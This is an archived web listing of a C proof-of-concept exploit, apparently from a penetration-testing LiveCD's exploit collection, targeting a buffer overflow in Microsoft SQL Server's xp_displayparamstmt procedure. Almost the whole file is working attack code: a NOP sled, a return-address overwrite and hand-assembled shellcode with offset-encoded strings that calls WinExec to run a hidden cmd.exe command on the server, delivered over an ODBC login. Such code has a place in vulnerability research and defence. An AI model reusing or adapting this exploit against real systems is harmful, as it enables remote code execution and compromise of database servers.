home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / sqladv-poc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  406 lines

  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <wchar.h>
  4. #include <lmcons.h>
  5. #include <sql.h>
  6. #include <sqlext.h>
  7.  
  8.  
  9. int main(int argc, char *argv[])
  10. {
  11.     char szBuffer[1025];  //display successful connection info on
  12.                               //hdbc(s) combo-box    
  13.     SWORD     swStrLen;               //String length   
  14.     SQLHDBC   hdbc;                   //hdbc    
  15.     SQLRETURN nResult;             
  16.     SQLHANDLE henv;
  17.     HSTMT  hstmt;
  18.     SCHAR InConnectionString[1025] = "DRIVER={SQL Server};SERVER=";
  19.     SCHAR server[100]="";
  20.     SCHAR uid[32]=";UID=";
  21.     SCHAR pwd[32]=";PWD=";
  22.     SCHAR *db=";DATABASE=master";
  23.  
  24.     UCHAR query[20000] = "exec  xp_displayparamstmt '";
  25.     unsigned char ch=0x01;
  26.  
  27.     int count = 27, var =0, result = 0, chk =0;
  28.     
  29.     if(argc !=4)
  30.     {
  31.         printf("USAGE:\t%s host uid pwd\nDavid Litchfield 9th November 2000\n",argv[0]);
  32.         return 0;
  33.     }
  34.  
  35.     strncpy(server,argv[1],96);
  36.     strncat(uid,argv[2],28);
  37.     strncat(pwd,argv[3],28);
  38.  
  39.     strncat(InConnectionString,server,96);
  40.     strncat(InConnectionString,uid,28);
  41.     strncat(InConnectionString,pwd,28);
  42.     strcat(InConnectionString,db);
  43.  
  44.  
  45.     while(count < 12083)
  46.     {
  47.             query[count]=0x90;
  48.             count++;
  49.     }
  50.  
  51.     // jmp eax
  52.     query[count++]=0xFF;
  53.     query[count++]=0xE0;
  54.     
  55.     // nops
  56.     query[count++]=0x90;
  57.     query[count++]=0x90;
  58.  
  59.     // overwrite saved return address
  60.     query[count++]=0xAE;
  61.     query[count++]=0x20;
  62.     query[count++]=0xA6;
  63.     query[count++]=0x41;
  64.  
  65.     // code starts in ernest
  66.  
  67.     query[count++]=0x90;
  68.     // mov edx,eax
  69.     query[count++]=0x8B;
  70.     query[count++]=0xD0;
  71.  
  72.     // add edx,0x52 <- points to our string table
  73.     query[count++]=0x83;
  74.     query[count++]=0xC2;
  75.     query[count++]=0x52;
  76.  
  77.     // push ebp
  78.     query[count++]=0x55;
  79.  
  80.     // mov ebp,esp
  81.     query[count++]=0x8B;
  82.     query[count++]=0xEC;
  83.  
  84.     // mov edi,0x41A68014
  85.     query[count++]=0xBF;
  86.     query[count++]=0x14;
  87.     query[count++]=0x80;
  88.     query[count++]=0xA6;
  89.     query[count++]=0x41;
  90.  
  91.  
  92.     //mov esi,0x41A68040
  93.     query[count++]=0xBE;
  94.     query[count++]=0x40;
  95.     query[count++]=0x80;
  96.     query[count++]=0xA6;
  97.     query[count++]=0x41;
  98.  
  99.     // mov ecx, 0xFFFFFFFF
  100.     query[count++]=0xB9;
  101.     query[count++]=0xFF;
  102.     query[count++]=0xFF;
  103.     query[count++]=0xFF;
  104.     query[count++]=0xFF;
  105.  
  106.  
  107.      
  108.  
  109.     // sub ecx, 0xFFFFFFB3
  110.     query[count++]=0x83;
  111.     query[count++]=0xE9;
  112.     query[count++]=0xB3;
  113.  
  114.     // here:
  115.  
  116.     // sub dword ptr[edx],1
  117.     query[count++]=0x83;
  118.     query[count++]=0x2A;
  119.     query[count++]=0x01;
  120.  
  121.     // add edx,1
  122.     query[count++]=0x83;
  123.     query[count++]=0xC2;
  124.     query[count++]=0x01;
  125.  
  126.     // sub ecx,1
  127.     query[count++]=0x83;
  128.     query[count++]=0xE9;
  129.     query[count++]=0x01;
  130.  
  131.     // test ecx,ecx
  132.     query[count++]=0x85;
  133.     query[count++]=0xC9;
  134.  
  135.     // jne here
  136.     query[count++]=0x75;
  137.     query[count++]=0xF3;
  138.  
  139.     // sub edx, 0x48
  140.     query[count++]=0x83;
  141.     query[count++]=0xEA;
  142.     query[count++]=0x48;
  143.  
  144.     // push edx <- calling LoadLibrary will mess edx so save it on stack
  145.     // Even though we're about to push edx as an arg to LoadLibrary
  146.     // we have to push it twice as LoadLibrary will remove one of them
  147.     // from the stack - once the call has returned pop it back into edx
  148.  
  149.     query[count++]=0x52; 
  150.  
  151.     // LoadLibrary("kernel32.dll");
  152.     // push edx
  153.     query[count++]=0x52;
  154.  
  155.     // call [edi]
  156.     query[count++]=0xFF;
  157.     query[count++]=0x17;
  158.  
  159.  
  160.     
  161.     // pop edx
  162.     query[count++]=0x5A;
  163.  
  164.  
  165.     // On return LoadLibrary has placed a handle in EAX
  166.     // save this on this stack for later use
  167.     // push eax
  168.     query[count++]=0x50;
  169.  
  170.  
  171.     // GetProcAddress(HND,"WinExec");
  172.     // add edx, 0x10
  173.     query[count++]=0x83;
  174.     query[count++]=0xC2;
  175.     query[count++]=0x10;
  176.  
  177.  
  178.     // push edx
  179.     // need to save this again - pop it when GetProcAddress returns
  180.  
  181.     query[count++]=0x52;
  182.  
  183.     //push edx
  184.     query[count++]=0x52;
  185.  
  186.     // push eax
  187.     query[count++]=0x50;
  188.  
  189.     // call [esi]
  190.     query[count++]=0xFF;
  191.     query[count++]=0x16;
  192.  
  193.     // pop edx
  194.     query[count++]=0x5A;
  195.  
  196.     // WinExec("cmd.exe /c.....",SW_HIDE);
  197.     // add edx, 0x08
  198.     query[count++]=0x83;
  199.     query[count++]=0xC2;
  200.     query[count++]=0x08;
  201.  
  202.  
  203.     // push edx
  204.     query[count++]=0x52; // <- save edx
  205.  
  206.     // xor ebx,ebx
  207.     query[count++]=0x33;
  208.     query[count++]=0xDB;
  209.  
  210.     // push ebx
  211.     query[count++]=0x53;
  212.  
  213.     // push edx
  214.     query[count++]=0x52;
  215.  
  216.     // call eax
  217.     query[count++]=0xFF;
  218.     query[count++]=0xD0;
  219.  
  220.  
  221.     // With the shell spawned code now calls ExitProcess()
  222.  
  223.     //pop edx
  224.     query[count++]=0x5A;
  225.  
  226.     
  227.     // pop eax <- This is saved handle to kernel32.dll
  228.     query[count++]=0x58;
  229.  
  230.  
  231.  
  232.     // GetProcAddress(HND,"ExitProcess");
  233.     // add edx,0x24
  234.     query[count++]=0x83;
  235.     query[count++]=0xC2;
  236.     query[count++]=0x24;
  237.  
  238.  
  239.     // push edx
  240.     query[count++]=0x52;
  241.  
  242.     // push eax
  243.     query[count++]=0x50;
  244.  
  245.     // call [esi]
  246.     query[count++]=0xFF;
  247.     query[count++]=0x16;
  248.  
  249.  
  250.     // call ExitProcess(0);
  251.     // xor ebx,ebx
  252.     query[count++]=0x33;
  253.     query[count++]=0xDB;
  254.  
  255.     // push ebx
  256.     query[count++]=0x53;
  257.  
  258.     // call eax
  259.     query[count++]=0xFF;
  260.     query[count++]=0xD0;
  261.  
  262.  
  263.     // Here are our strings
  264.     // kernel32.dll, WinExec, cmd.exe /c ... , ExitProcess
  265.     // 1 has been added to each character to 'hide' the nulls
  266.     // the loop will sub 1 from each char
  267.  
  268.     query[count++]=0x01;
  269.     query[count++]=0x01;
  270.     query[count++]=0x01;
  271.     query[count++]=0x01;
  272.     query[count++]=0x6c;
  273.     query[count++]=0x66;
  274.     query[count++]=0x73;
  275.     query[count++]=0x6f;
  276.     query[count++]=0x66;
  277.     query[count++]=0x6d;
  278.     query[count++]=0x34;
  279.     query[count++]=0x33;
  280.     query[count++]=0x2f;
  281.     query[count++]=0x65;
  282.     query[count++]=0x6d;
  283.     query[count++]=0x6d;
  284.     query[count++]=0x01;
  285.     query[count++]=0x01;
  286.     query[count++]=0x01;
  287.     query[count++]=0x01;
  288.     query[count++]=0x58;
  289.     query[count++]=0x6a;
  290.     query[count++]=0x6f;
  291.     query[count++]=0x46;
  292.     query[count++]=0x79;
  293.     query[count++]=0x66;
  294.     query[count++]=0x64;
  295.     query[count++]=0x01;
  296.     query[count++]=0x64;
  297.     query[count++]=0x6e;
  298.     query[count++]=0x65;
  299.     query[count++]=0x2f;
  300.     query[count++]=0x66;
  301.     query[count++]=0x79;
  302.     query[count++]=0x66;
  303.     query[count++]=0x21;
  304.     query[count++]=0x30;
  305.     query[count++]=0x64;
  306.     query[count++]=0x21;
  307.     query[count++]=0x65;
  308.     query[count++]=0x6a;
  309.     query[count++]=0x73;
  310.     query[count++]=0x21;
  311.     query[count++]=0x3f;
  312.     query[count++]=0x21;
  313.     query[count++]=0x64;
  314.     query[count++]=0x3b;
  315.     query[count++]=0x5d;
  316.     query[count++]=0x74;
  317.     query[count++]=0x72;
  318.     query[count++]=0x6d;
  319.     query[count++]=0x70;
  320.     query[count++]=0x77;
  321.     query[count++]=0x66;
  322.     query[count++]=0x73;
  323.     query[count++]=0x73;
  324.     query[count++]=0x76;
  325.     query[count++]=0x6f;
  326.     query[count++]=0x2f;
  327.     query[count++]=0x75;
  328.     query[count++]=0x79;
  329.     query[count++]=0x75;
  330.     query[count++]=0x01;
  331.     query[count++]=0x01;
  332.     query[count++]=0x46;
  333.     query[count++]=0x79;
  334.     query[count++]=0x6a;
  335.     query[count++]=0x75;
  336.     query[count++]=0x51;
  337.     query[count++]=0x73;
  338.     query[count++]=0x70;
  339.     query[count++]=0x64;
  340.     query[count++]=0x66;
  341.     query[count++]=0x74;
  342.     query[count++]=0x74;
  343.     query[count++]=0x01;
  344.  
  345.  
  346.  
  347.  
  348.     strcat(query,"',2,3");
  349.  
  350.     
  351.     
  352.     if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=
  353. SQL_SUCCESS)
  354.         {
  355.             printf("Error SQLAllocHandle");
  356.             return 0;
  357.  
  358.         }
  359.  
  360.     if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
  361. SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
  362.         {
  363.             printf("Error SQLSetEnvAttr");
  364.             return 0;
  365.  
  366.         }
  367.  
  368.  
  369.     if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
  370. *)&hdbc)) != SQL_SUCCESS) 
  371.         {
  372.             printf("SQLAllocHandle - 2");
  373.             return 0;
  374.             
  375.         }
  376.  
  377.     nResult = SQLDriverConnect(hdbc, NULL, InConnectionString,
  378. strlen(InConnectionString), szBuffer,  1024, &swStrLen,
  379. SQL_DRIVER_COMPLETE_REQUIRED);      
  380.     if(nResult == SQL_SUCCESS | nResult == SQL_SUCCESS_WITH_INFO)
  381.         {
  382.  
  383.             printf("Connected to MASTER database...\n\n");
  384.             SQLAllocStmt(hdbc,&hstmt);
  385.         }
  386.  
  387.     else
  388.     {
  389.         printf("Couldn't connect.\n");
  390.         return 0;
  391.     }
  392.  
  393.     if(SQLExecDirect(hstmt,query,SQL_NTS) !=SQL_SUCCESS)
  394.         {
  395.             printf("\nBuffer has been  sent...c:\\sqloverrun.txt should now exist.");
  396.  
  397.             return 0;
  398.  
  399.         }
  400.     printf("Buffer sent...");    
  401.     
  402.  
  403.  
  404. return 0;
  405. }
  406.